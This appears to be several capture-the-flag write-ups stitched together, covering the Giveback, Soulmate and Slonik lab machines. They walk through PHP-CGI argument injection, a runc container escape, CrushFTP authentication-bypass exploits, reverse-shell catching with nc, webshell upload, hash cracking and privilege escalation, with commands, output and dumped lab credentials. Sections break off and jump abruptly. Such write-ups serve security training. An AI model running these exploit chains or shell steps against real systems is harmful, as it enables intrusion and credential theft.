# Entries added by HostAliases.
127.0.0.1 status.localhost
Pod Enumeration
The /secrets directory has three secrets:
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ lsmariadb-password mariadb-root-password wordpress-password
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ cat mariadb-password
sW5sp4spa3u7RLyetrekE4oS
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ cat mariadb-root-password
sW5sp4syetre32828383kE4oS
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ cat wordpress-password
O8F7KR5zGi
The environment variables have a ton of information:
<?php...[snip]...// ** Database settings - You can get this info from your web host ** ///** The name of the database for WordPress */define('DB_NAME','bitnami_wordpress');/** Database username */define('DB_USER','bn_wordpress');/** Database password */define('DB_PASSWORD','sW5sp4spa3u7RLyetrekE4oS');/** Database hostname */define('DB_HOST','beta-vino-wp-mariadb:3306');...[snip]...
I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ mysql -h beta-vino-wp-mariadb -u bn_wordpress -p'sW5sp4spa3u7RLyetrekE4oS' bitnami_wordpress
...[snip]...
MariaDB [bitnami_wordpress]>
There is one user in the wp_users table, but I’m not able to crack the hash with rockyou.txt:
I don’t find anything else too interesting in the DB.
Legacy Service
There’s a legacy service on 10.43.2.241:5000, which seems like a likely web application just based on the port. I don’t have curl or wget. php is installed, and I can easily use file_get_contents to make web requests (I’m going to set my prompt to be shorter for readability with PS1="$ "):
$ php -r"echo file_get_contents('http://10.43.2.241:5000/');"<!DOCTYPE html><html><head><title>GiveBack LLC Internal CMS</title><!-- Developer note: phpinfo accessible via debug mode during migration window --><style>body{font-family:Arial,sans-serif;margin:40px;background:#f9f9f9;}.header{color:#333;border-bottom:1pxsolid#ccc;padding-bottom:10px;}.info{background:#eef;padding:15px;margin:20px0;border-radius:5px;}.warning{background:#fff3cd;border:1pxsolid#ffeeba;padding:10px;margin:10px0;}.resources{margin:20px0;}.resourcesli{margin:5px0;}a{color:#007bff;text-decoration:none;}a:hover{text-decoration:underline;}</style></head><body><divclass="header"><h1>🏢 GiveBack LLC Internal CMS System</h1><p><em>Development Environment – Internal Use Only</em></p></div><divclass="warning"><h4>⚠️ Legacy Notice</h4><p>**SRE** - This system still includes legacy CGI support. Cluster misconfiguration may likely expose internal scripts.</p></div><divclass="resources"><h3>Internal Resources</h3><ul><li><ahref="/admin/">/admin/</a> — VPN Required</li><li><ahref="/backups/">/backups/</a> — VPN Required</li><li><ahref="/runbooks/">/runbooks/</a> — VPN Required</li><li><ahref="/legacy-docs/">/legacy-docs/</a> — VPN Required</li><li><ahref="/debug/">/debug/</a> — Disabled</li><li><ahref="/cgi-bin/info">/cgi-bin/info</a> — CGI Diagnostics</li><li><ahref="/cgi-bin/php-cgi">/cgi-bin/php-cgi</a> — PHP-CGI Handler</li><li><ahref="/phpinfo.php">/phpinfo.php</a></li><li><ahref="/robots.txt">/robots.txt</a> — Crawlers: Disallowed</li></ul></div><divclass="info"><h3>Developer Note</h3><p>This CMS was originally deployed on Windows IIS using <code>php-cgi.exe</code>.
During migration to Linux, the Windows-style CGI handling was retained to ensure
legacy scripts continued to function without modification.</p></div></body></html>
There is an old school CGI web server here. CGI is a way to map URLs to programs / scripts that can run to generate the page. This is largely not a technology that’s in use any more, and only makes some sense here as a legacy internal application.
The links are mostly inaccessible (they say “VPN Required” or “Disallowed”). An interesting one is /phpinfo.php, but it fails:
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use “Best-Fit” behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
This is a bit weird, as GiveBack is clearly not a Windows box. Still, there was a paragraph at the bottom of the page that says:
<p>This CMS was originally deployed on Windows IIS using <code>php-cgi.exe</code>.
During migration to Linux, the Windows-style CGI handling was retained to ensure
legacy scripts continued to function without modification.</p>
This text seems like a hint that this exploit should work here. The versions line up nicely as well, as 8.3.3 is before 8.3.8.
This advisory from famous researcher Orange Tsai goes into more detail. This CVE is a bypass of the fix for CVE-2012-1823. Basically some Windows character sets allow PHP-CGI argument injection that was patched in the very old bug.
POC
I am going to target /cgi-bin/php-cgi, as it seems like a clear CGI script. Run normally, it just prints OK:
I need to make a request to this script and use the %AD command to allow for injecting PHP arguments. My exploit would be very simple in curl (and I could just tunnel here), but I’ll do it with PHP, writing the following script to /tmp/rce.php:
The exploit is in the URL. The %AD is a Windows “best-fit” character that maps to - (a dash), bypassing the CVE-2012-1823 fix that blocks literal - in query strings. This allows injecting the PHP-CGI argument -d auto_prepend_file=php://input, which tells PHP to execute the POST body as PHP code before the target script runs. The command is passed as an argument, or it runs id by default:
oxdf@hacky$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.242.171 6080
/bin/sh: can't access tty; job control turned off
/var/www/html/cgi-bin #
I’ll upgrade the shell using the standard trick (but with sh rather than bash as it’s not installed):
/var/www/html/cgi-bin # script /dev/null -c bash
Script started, output log file is '/dev/null'.
sh: bash: not found
Script done.
/var/www/html/cgi-bin # script /dev/null -c sh
Script started, output log file is '/dev/null'.
/var/www/html/cgi-bin # ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$stty raw -echo;fgnc -lnvp 443
reset
/var/www/html/cgi-bin #
Shell as babywyrm
Enumeration
This pod has a different hostname which also follows the K8s pod format:
/var/run/secrets/kubernetes.io/serviceaccount/ is the default K8s service account mount that gets automatically added to every pod (unless explicitly disabled with automountServiceAccountToken: false). The files are:
token - JWT for authenticating to the K8s API
ca.crt - cluster CA certificate
namespace - the pod’s namespace
I can use these to interact with the K8s API. The rest of the filesystem is very empty.
K8s API
Authentication
HackTricks has a page that shows how to use these values with curl to access the API:
That’s two MariaDB passwords, the WordPress password, and a user named babywyrm’s secret. All but the user’s secret I’ve seen before from the /secrets directory above.
SSH
The user-secret-babywyrm works for that user over SSH:
oxdf@hacky$sshpass -p BXZzPQyQQVjQZT1tQyeL2UozeeOsXzeb ssh babywyrm@giveback.htb
Warning: Permanently added 'giveback.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Feb 17 12:29:53 2026 from 10.10.14.44
babywyrm@giveback:~$
babywyrm can run a binary from /opt as any user with sudo:
babywyrm@giveback:~$sudo-lMatching Defaults entries for babywyrm on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
timestamp_timeout=0, timestamp_timeout=20
User babywyrm may run the following commands on localhost:
(ALL) NOPASSWD: !ALL
(ALL) /opt/debug
The NOPASSWD: !ALL rule means no commands can be run without a password. Combined with the second rule, babywyrm can only run /opt/debug with sudo, and must enter a password to do so.
The intended path is CVE-2024-21626. In fact, HackTheBox patched the box to make the unintended path harder shortly after launch, but it’s still doable.
Abuse runc Directly
Blocked by Binary
runc can create containers, so I’ll have it create one with the host filesystem mounted where I can enter the container as root.
If I had used debug, the resulting file would be owned and only writable by root. This restriction could be overcome, as since babywyrm owns the directory, I could move it and make a copy I can edit. But just running runc is easier.
I’ll make an edit to add the following to the mounts list so that the host filesystem is mounted in the container at /hostfs:
babywyrm@giveback:/tmp/runc$sudo /opt/debug run oxdfroot
[sudo] password for babywyrm:
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
[*] Administrative password verified
[*] Processing command: run
Error: Host root filesystem mount detected - not permitted
The debug binary is blocking the mount. This worked on release, but a patch in the November 2025 changelog added the check:
Bypass Filter
It’s checking above that I’m trying to mount the root filesystem. If debug is looking for values that start with / or /root, then perhaps I can bypass that using a directory traversal. I’ll update my config.json so that it mounts /var/... Now when I run it:
babywyrm@giveback:/tmp/runc$sudo /opt/debug run oxdfroot
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
[*] Administrative password verified
[*] Processing command: run
[*] Starting container: oxdfroot
#
From the host, I’ll get root (using -p to not drop privs):
babywyrm@giveback:~$bash -pbash-5.1#
CVE-2024-21626
Identify
Searching for “runc version 1.1.11 cve” finds a few different vulnerabilities:
There are a few different CVEs of interest here, but three of them released on 5 November 2025, four days after Giveback released. I’ll focus on CVE-2024-21626.
runc is a CLI tool for spawning and running containers on Linux according to the OCI specification. In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem (“attack 2”). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run (“attack 1”). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes (“attack 3a” and “attack 3b”). runc 1.1.12 includes patches for this issue.
This post from vsociety_ goes into detail. By setting the working directory to a file descriptor in the host file system runc will allow a container escape.
Due to CVE-2024-21626, runc leaks a file descriptor that references a location on the host filesystem during container setup. By setting the working directory to /proc/self/fd/7, the container process starts with its cwd pointing outside the container, into the host.
Now I trigger the exploit by running a container:
babywyrm@giveback:/tmp/0xdf$sudo /opt/debug --log /tmp/log.json run exploit
[sudo] password for babywyrm:
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
[*] Administrative password verified
[*] Processing command: run
[*] Starting container: exploit
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bash-5.1#
It’s important to pass the --log parameter. Opening the log file creates an additional file descriptor, which shifts the leaked host fd to position 7. Without it, the fd number would be different and the cwd path wouldn’t resolve.
It’s a wonky shell. It can’t get the current directory. If I reference /, it works:
bash-5.1# ls /
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
bin dev lib lib64 proc sys
But if I access ../../../root, it’s the host system /root:
bash-5.1# ls ../../../root
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
'\' audit__.sh coredns dns.sh helm iptables_rules.sh python root.txt
If I change directories in here, I’ll lose that reference. I can read the flag:
bash-5.1# cat ../../../root/root.txt
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
d01c26980902d5bef950d995a244a5f3
I can also set the bash binary as SetUID / SetGID:
bash-5.1# chmod 6777 ../../../bin/bash
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
Soulmate has a PHP-based dating website, as well as an instance of CrushFTP. I’ll showcase two different authentication bypass CVEs to get admin access to CrushFTP. From there I can upload a PHP webshell and get a foothold on the box. I’ll find hardcoded credentials in an Erlang SSH server, and use them to get to the next user. I’ll also use them to connect to this SSH server and navigate the Erlang console as root to solve the challenge.
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$sudo nmap -p--vvv--min-rate 10000 10.129.231.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 17:36 UTC
...[snip]...
Nmap scan report for 0xdf.gitlab.htb (10.129.231.23)
Host is up, received reset ttl 63 (0.025s latency).
Scanned at 2026-02-12 17:36:45 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.40 seconds
Raw packets sent: 71517 (3.147MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$sudo nmap -p 22,80 -sCV 10.129.231.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 17:37 UTC
Nmap scan report for 0xdf.gitlab.htb (10.129.231.23)
Host is up (1.8s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.91 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 22.04 jammy LTS.
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
There’s a redirect on 80 to soulmate.htb.
Subdomain Fuzz
Given the use of domain name / host-based routing, I’ll use ffuf to scan for any subdomains of soulmate.htb that may respond differently:
I’ll need to specify the required libraries to run with uv (cheatsheet), and now it runs:
oxdf@hacky$uv add --script CVE-2025-31161.py requests colorama
Updated `CVE-2025-31161.py`
oxdf@hacky$uv run --with requests CVE-2025-31161.py
Installed 6 packages in 8ms
[-] Target host not specified
usage: CVE-2025-31161.py [-h] [--target_host TARGET_HOST] [--port PORT] [--target_user TARGET_USER]
[--new_user NEW_USER] [--password PASSWORD]
Exploit CVE-2025-31161 to create a new account
options:
-h, --help show this help message and exit
--target_host TARGET_HOST
Target host
--port PORT Target port
--target_user TARGET_USER
Target user
--new_user NEW_USER New user to create
--password PASSWORD Password for the new user
The script makes two requests using some custom headers:
CrushFTP sees this Authorization header and begins an AWS S3-compatible auth flow, extracting the username (crushadmin) from the Credential field. The authentication is never actually completed/validated, but the server treats the session as partially authenticated, which is enough to access admin API functions.
First there’s a GET request to /WebInterface/function/ with the crafted headers. This establishes a session on the server side associated with the fake auth token in the cookies. This may timeout, which is fine.
Next, there’s a POST request to the same URL with a payload with the command of “setUserItem”, and an XML section that describes a new user:
It’s important that the c2f field in the cookie and in the payload match the last four characters of the CrushAuth cookie, which tricks the CSRF-like check. When this works, it creates a new user:
oxdf@hacky$uv run --with requests CVE-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user 0xdf --password 0xdf
_____________ _______________ _______________ ________ .________ ________ ____ ____ ____________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \ | ____/ \_____ \/_ /_ |/ _____/_ |
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ |____ \ ______ _(__ < | || / __ \ | |
\ \____\ / | \ /_____/ / \ \_/ \/ \ / \ /_____/ / \| || \ |__\ \| |
\______ / \___/ /_______ / \_______ \_____ /\_______ \/______ / /______ /|___||___|\_____ /|___|
\/ \/ \/ \/ \/ \/ \/ \/
Author: Gaurav Bhattacharjee (G4UR4V007)
CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit
Description:
This vulnerability allows an attacker to create a new user account on CrushFTP
without proper authentication by sending crafted XML payloads to the WebInterface.
This can lead to unauthorized access and potential full compromise of the server.
[+] Preparing Payloads
[-] Warming up the target...
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully!
[+] Exploit Complete! You can now login with:
[*] Username: 0xdf
[*] Password: 0xdf
Now I can log in as 0xdf as an admin account.
CVE-2025-54309
This CVE is described as:
CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
I’ll grab this POC from whisperer1290 and let it use requests:
oxdf@hacky$git clone https://github.com/whisperer1290/CVE-2025-54309__Enhanced_exploit.git
Cloning into 'CVE-2025-54309__Enhanced_exploit'...
remote: Enumerating objects: 18, done.
remote: Counting objects: 100% (18/18), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 18 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (18/18), 9.66 KiB | 1.61 MiB/s, done.
Resolving deltas: 100% (3/3), done.
oxdf@hacky$cd CVE-2025-54309__Enhanced_exploit/
oxdf@hacky$uv run exploit.py
Installed 5 packages in 5ms
╔═══════════════════════════════════════════════════════════╗
║ CrushFTP CVE-2025-54309 Exploit ║
║ Race Condition Authentication Bypass ║
║ User Creation Version ║
║ ║
║ FOR AUTHORIZED TESTING ONLY ║
║ HTB Labs & Pentesting Use ║
╚═══════════════════════════════════════════════════════════╝
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [-r REQUESTS] [--verify] target
CrushFTP CVE-2025-54309 User Creation Exploit
positional arguments:
target Target CrushFTP URL (e.g., http://ftp.soulmate.htb)
options:
-h, --help show this help message and exit
-u, --username USERNAME
Username for new admin user (default: htbadmin)
-p, --password PASSWORD
Password for new admin user (default: HTBPassword123!)
-r, --requests REQUESTS
Number of request pairs (default: 5000)
--verify Verify user creation by checking user list
This exploit is a race condition in how the AS2-TO header is handled. This script sends two requests in parallel:
AS2 request (make_request_with_as2, line 58): Sends a POST with the header AS2-TO: \crushadmin and Content-Type: disposition-notification. This triggers CrushFTP’s AS2 handler, which temporarily authenticates the session as crushadmin during processing.
Regular request (make_request_without_as2, line 111): Sends a user-creation POST sharing the same CrushAuth session cookie. If this request is processed before the session is invalidated, it will successfully create a new admin user.
This script by default will try 5000 pairs of requests until it works.
It works:
oxdf@hacky$uv run --with requests exploit.py -u 0xdfadmin -p 0xdf0xdf --verify http://ftp.soulmate.htb
╔═══════════════════════════════════════════════════════════╗
║ CrushFTP CVE-2025-54309 Exploit ║
║ Race Condition Authentication Bypass ║
║ User Creation Version ║
║ ║
║ FOR AUTHORIZED TESTING ONLY ║
║ HTB Labs & Pentesting Use ║
╚═══════════════════════════════════════════════════════════╝
[*] Target: http://ftp.soulmate.htb
[*] New admin user: 0xdfadmin:0xdf0xdf
[*] CRUSHFTP USER CREATION EXPLOIT
[*] TARGET: http://ftp.soulmate.htb
[*] CREATING USER: 0xdfadmin:0xdf0xdf
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
[*] Generated new c2f value: QfRU
[*] Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: lxZ7
[*] NEW SESSION: c2f=lxZ7
[+] SUCCESS! User '0xdfadmin' created successfully!
[+] Response indicates user creation was successful
[+] USER CREATION SUCCESSFUL!
[*] Verifying user creation...
[-] VERIFICATION FAILED: User '0xdfadmin' not found in user list
[+] EXPLOITATION COMPLETE!
[+] Admin user created: 0xdfadmin:0xdf0xdf
[+] Try logging in at: http://ftp.soulmate.htb/WebInterface/
[+] Or access the admin interface directly
Webshell Upload
As either account, I can log in with admin access:
This user doesn’t have any folders mounted for it. I’ll click the “Admin” button, which loads a noisy dashboard:
There’s a “User Manager” link at the top, which leads to:
Clicking my user, I can add a folder with “Upload” privileges. A bit of exploration and I’ll find the dating website source in /app/webProd, which I’ll drag over:
On clicking “Save” and going back to “Files”, there’s the soulmate.htb site files:
oxdf@hacky$nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.231.23 34824
bash: cannot set terminal process group (1151): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$
#!/usr/bin/envescript%%! -sname ssh_runner
main(_)->application:start(asn1),application:start(crypto),application:start(public_key),application:start(ssh),io:format("Starting SSH daemon with logging...~n"),casessh:daemon(2222,[{ip,{127,0,0,1}},{system_dir,"/etc/ssh"},{user_dir_fun,fun(User)->Dir=filename:join("/home",User),io:format("Resolving user_dir for ~p: ~s/.ssh~n",[User,Dir]),filename:join(Dir,".ssh")end},{connectfun,fun(User,PeerAddr,Method)->io:format("Auth success for user: ~p from ~p via ~p~n",[User,PeerAddr,Method]),trueend},{failfun,fun(User,PeerAddr,Reason)->io:format("Auth failed for user: ~p from ~p, reason: ~p~n",[User,PeerAddr,Reason]),trueend},{auth_methods,"publickey,password"},{user_passwords,[{"ben","HouseH0ldings998"}]},{idle_time,infinity},{max_channels,10},{max_sessions,10},{parallel_login,true}])of{ok,_Pid}->io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");{error,Reason}->io:format("Failed to start SSH daemon: ~p~n",[Reason])end,receivestop->okend.
I’ll go through the entire script in the next section. For now, I’ll notice a hard-coded password for ben:
{user_passwords,[{"ben","HouseH0ldings998"}]},
su / SSH
The password works for ben with su:
www-data@soulmate:/$su - ben
Password:
ben@soulmate:~$
It also works for SSH:
oxdf@hacky$sshpass -p HouseH0ldings998 ssh ben@soulmate.htb
Warning: Permanently added 'soulmate.htb' (ED25519) to the list of known hosts.
Last login: Fri Feb 13 01:50:52 2026 from 10.10.14.44
ben@soulmate:~$
ben@soulmate:~$sudo-l[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
Their home directory is very empty:
ben@soulmate:~$ls-latotal 28
drwxr-x--- 3 ben ben 4096 Sep 2 10:27 .
drwxr-xr-x 3 root root 4096 Sep 2 10:27 ..
lrwxrwxrwx 1 root root 9 Aug 27 09:28 .bash_history -> /dev/null
-rw-r--r-- 1 ben ben 220 Aug 6 2025 .bash_logout
-rw-r--r-- 1 ben ben 3771 Aug 6 2025 .bashrc
drwx------ 2 ben ben 4096 Sep 2 10:27 .cache
-rw-r--r-- 1 ben ben 807 Aug 6 2025 .profile
-rw-r----- 1 root ben 33 Feb 12 12:52 user.txt
Erlang SSH Script
I noted above that the Erlang script is running as root. I’ll look more closely at it. It starts the Erlang VM with the name “ssh_runner”:
#!/usr/bin/envescript%%! -sname ssh_runner
main(_)->application:start(asn1),application:start(crypto),application:start(public_key),application:start(ssh),io:format("Starting SSH daemon with logging...~n"),
It starts the main entrypoint, where the underscore in main(_) says to ignore command line args. It starts the required Erlang applications and then prints a message.
casessh:daemon(2222,[...[snip]...])of{ok,_Pid}->io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");{error,Reason}->io:format("Failed to start SSH daemon: ~p~n",[Reason])end,receivestop->okend.
It then starts an SSH daemon on port 2222, and prints a message about if it worked. Inside the daemon, it defines several configuration values:
{ip,{127,0,0,1}},{system_dir,"/etc/ssh"},{user_dir_fun,fun(User)->Dir=filename:join("/home",User),io:format("Resolving user_dir for ~p: ~s/.ssh~n",[User,Dir]),filename:join(Dir,".ssh")end},{connectfun,fun(User,PeerAddr,Method)->io:format("Auth success for user: ~p from ~p via ~p~n",[User,PeerAddr,Method]),trueend},{failfun,fun(User,PeerAddr,Reason)->io:format("Auth failed for user: ~p from ~p, reason: ~p~n",[User,PeerAddr,Reason]),trueend},{auth_methods,"publickey,password"},{user_passwords,[{"ben","HouseH0ldings998"}]},{idle_time,infinity},{max_channels,10},{max_sessions,10},{parallel_login,true}
Listens on localhost.
The system directory is /etc/ssh.
The user directory is the username in /home.
The hard-coded password.
Erlang SSH
Given all of this, I can connect as ben:
ben@soulmate:~$ssh -p 2222 ben@localhost
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[localhost]:2222' (ED25519) to the list of known hosts.
ben@localhost's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>
This is not a standard shell. . will end the line, and I can call help() to get a list of functions:
(ssh_runner@soulmate)1> help().** shell internal commands **
b() -- display all variable bindings
e(N) -- repeat the expression in query <N>
f() -- forget all variable bindings
f(X) -- forget the binding of variable X
h() -- history
h(Mod) -- help about module
h(Mod,Func)-- help about function in module
h(Mod,Func,Arity) -- help about function with arity in module
ht(Mod) -- help about a module's types
ht(Mod,Type) -- help about type in module
ht(Mod,Type,Arity) -- help about type with arity in module
hcb(Mod) -- help about a module's callbacks
hcb(Mod,CB) -- help about callback in module
hcb(Mod,CB,Arity) -- help about callback with arity in module
history(N) -- set how many previous commands to keep
results(N) -- set how many previous command results to keep
catch_exception(B) -- how exceptions are handled
v(N) -- use the value of query <N>
rd(R,D) -- define a record
rf() -- remove all record information
rf(R) -- remove record information about R
rl() -- display all record information
rl(R) -- display record information about R
rp(Term) -- display Term using the shell's record information
rr(File) -- read record information from File (wildcards allowed)
rr(F,R) -- read selected record information from file(s)
rr(F,R,O) -- read selected record information with options
lf() -- list locally defined functions
lt() -- list locally defined types
lr() -- list locally defined records
ff() -- forget all locally defined functions
ff({F,A}) -- forget locally defined function named as atom F and arity A
tf() -- forget all locally defined types
tf(T) -- forget locally defined type named as atom T
fl() -- forget all locally defined functions, types and records
save_module(FilePath) -- save all locally defined functions, types and records to a file
bt(Pid) -- stack backtrace for a process
c(Mod) -- compile and load module or file <Mod>
cd(Dir) -- change working directory
flush() -- flush any messages sent to the shell
help() -- help info
h(M) -- module documentation
h(M,F) -- module function documentation
h(M,F,A) -- module function arity documentation
i() -- information about the system
ni() -- information about the networked system
i(X,Y,Z) -- information about pid <X,Y,Z>
l(Module) -- load or reload module
lm() -- load all modified modules
lc([File]) -- compile a list of Erlang modules
ls() -- list files in the current directory
ls(Dir) -- list files in directory <Dir>
m() -- which modules are loaded
m(Mod) -- information about module <Mod>
mm() -- list all modified modules
memory() -- memory allocation information
memory(T) -- memory allocation information of type <T>
nc(File) -- compile and load code in <File> on all nodes
nl(Module) -- load module on all nodes
pid(X,Y,Z) -- convert X,Y,Z to a Pid
pwd() -- print working directory
q() -- quit - shorthand for init:stop()
regs() -- information about registered processes
nregs() -- information about all registered processes
uptime() -- print node uptime
xm(M) -- cross reference check a module
y(File) -- generate a Yecc parser
** commands in module i (interpreter interface) **
ih() -- print help for the i module
true
The ls command works, and shows I can read in /root:
There’s no command in the list that can read a file, but this is just a list of convenience commands from the shell_default and c modules. Since the Erlang SSH daemon drops into a full Erlang REPL (Eshell), I have access to the entire standard library, including modules that interact with the OS. And since the daemon runs as root, any commands I run execute as root.
I can use the file:read_file function to read the flag:
Slonik showcases some interesting Linux techniques around NFS and PostgreSQL. I’ll start with an insecurely configured NFS mount where I can list and read files from anywhere on the filesystem as any user except root. I’ll find hashes for a service account in the shadow file and in a postgres history file, and crack either. The service account doesn’t have a shell set, so I can’t get a shell over SSH. I can port forward to a UNIX socket, which provides access to PostgreSQL. I’ll use that to get a shell as the postgres user. To escalate to root, I’ll abuse a cron running a PostgreSQL backup utility. In Beyond Root, I’ll talk about a bug I found and fixed in Netexec and its neat NFS tools.
I’ll go into why I can read shadow but not root.txt in Beyond Root. These hashes are yescrypt, and hashcat doesn’t easily do them, but john does:
oxdf@hacky$john --wordlist=./rockyou.txt ./shadow.hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [0:unknown 1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt 7:scrypt 10:yescrypt 11:gost-yescrypt]) is 10 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
service (?)
1g 0:00:01:02 0.09% (ETA: 18:17:41) 0.01612g/s 261.6p/s 410.1c/s 410.1C/s bored..michelle13
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
It cracks in less than a minute (it won’t be able to crack the root password).
no_subtree_check is what allows escaping the share boundary to read the entire file system. root_squash means that I can’t impersonate the root user (which makes sense as then this box would be over).
Home Directories
There’s only service with a home directory in /home:
The archive contains a backup of /opt/backups/current which looks like a backup of PostgreSQL (and is, using the PostgreSQL applicationpg_basebackup). There’s nothing too interesting here.
Shell as postgres
Create Tunnel to PostgreSQL
I got the creds for the service account, and they work:
It does hang for a second between the ASCII art for the elephant and the Ubuntu welcome and exit.
I want access to the UNIX socket (which is handled as a file) that the PostgreSQL db is listening on as seen in the .bash_history file. SSH can actually port forward with -L to a UNIX socket:
oxdf@hacky$sshpass -p service ssh -N-L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.234.160
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...[snip]...
This just hangs, and port 5432 on my host is now forwarding through the SSH connection to /var/run/postgresql/.s.PGSQL.5432 on Slonik. I can connect:
oxdf@hacky$psql -h localhost -p 5432 -U postgres
psql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
The only interesting one is service, and it has one table:
postgres=# \cservicepsql (16.11 (Ubuntu 16.11-0ubuntu0.24.04.1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
service=# \dt List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | users | table | postgres
(1 row)
This is the entry I saw created in the .psql_history file:
The passwd file shows the postgres user’s home directory is /var/lib/postgresql. It doesn’t have a .ssh directory, but I’ll create one, and give it my public key:
I already found over NFS that the only user with a home directory in /home is service, and the only non-root user with a shell set is postgres. postgres requires a password to check sudo, which I don’t have:
postgres@slonik:/home$sudo-l[sudo] password for postgres:
My next step is likely to root.
Backups
I already noted above that new backups in /var/backups are being created every minute, and that it goes from /opt/backups/current:
postgres@slonik:/opt/backups$ls-l current/
total 260
-rw------- 1 root root 3 Feb 10 11:26 PG_VERSION
-rw------- 1 root root 227 Feb 10 11:26 backup_label
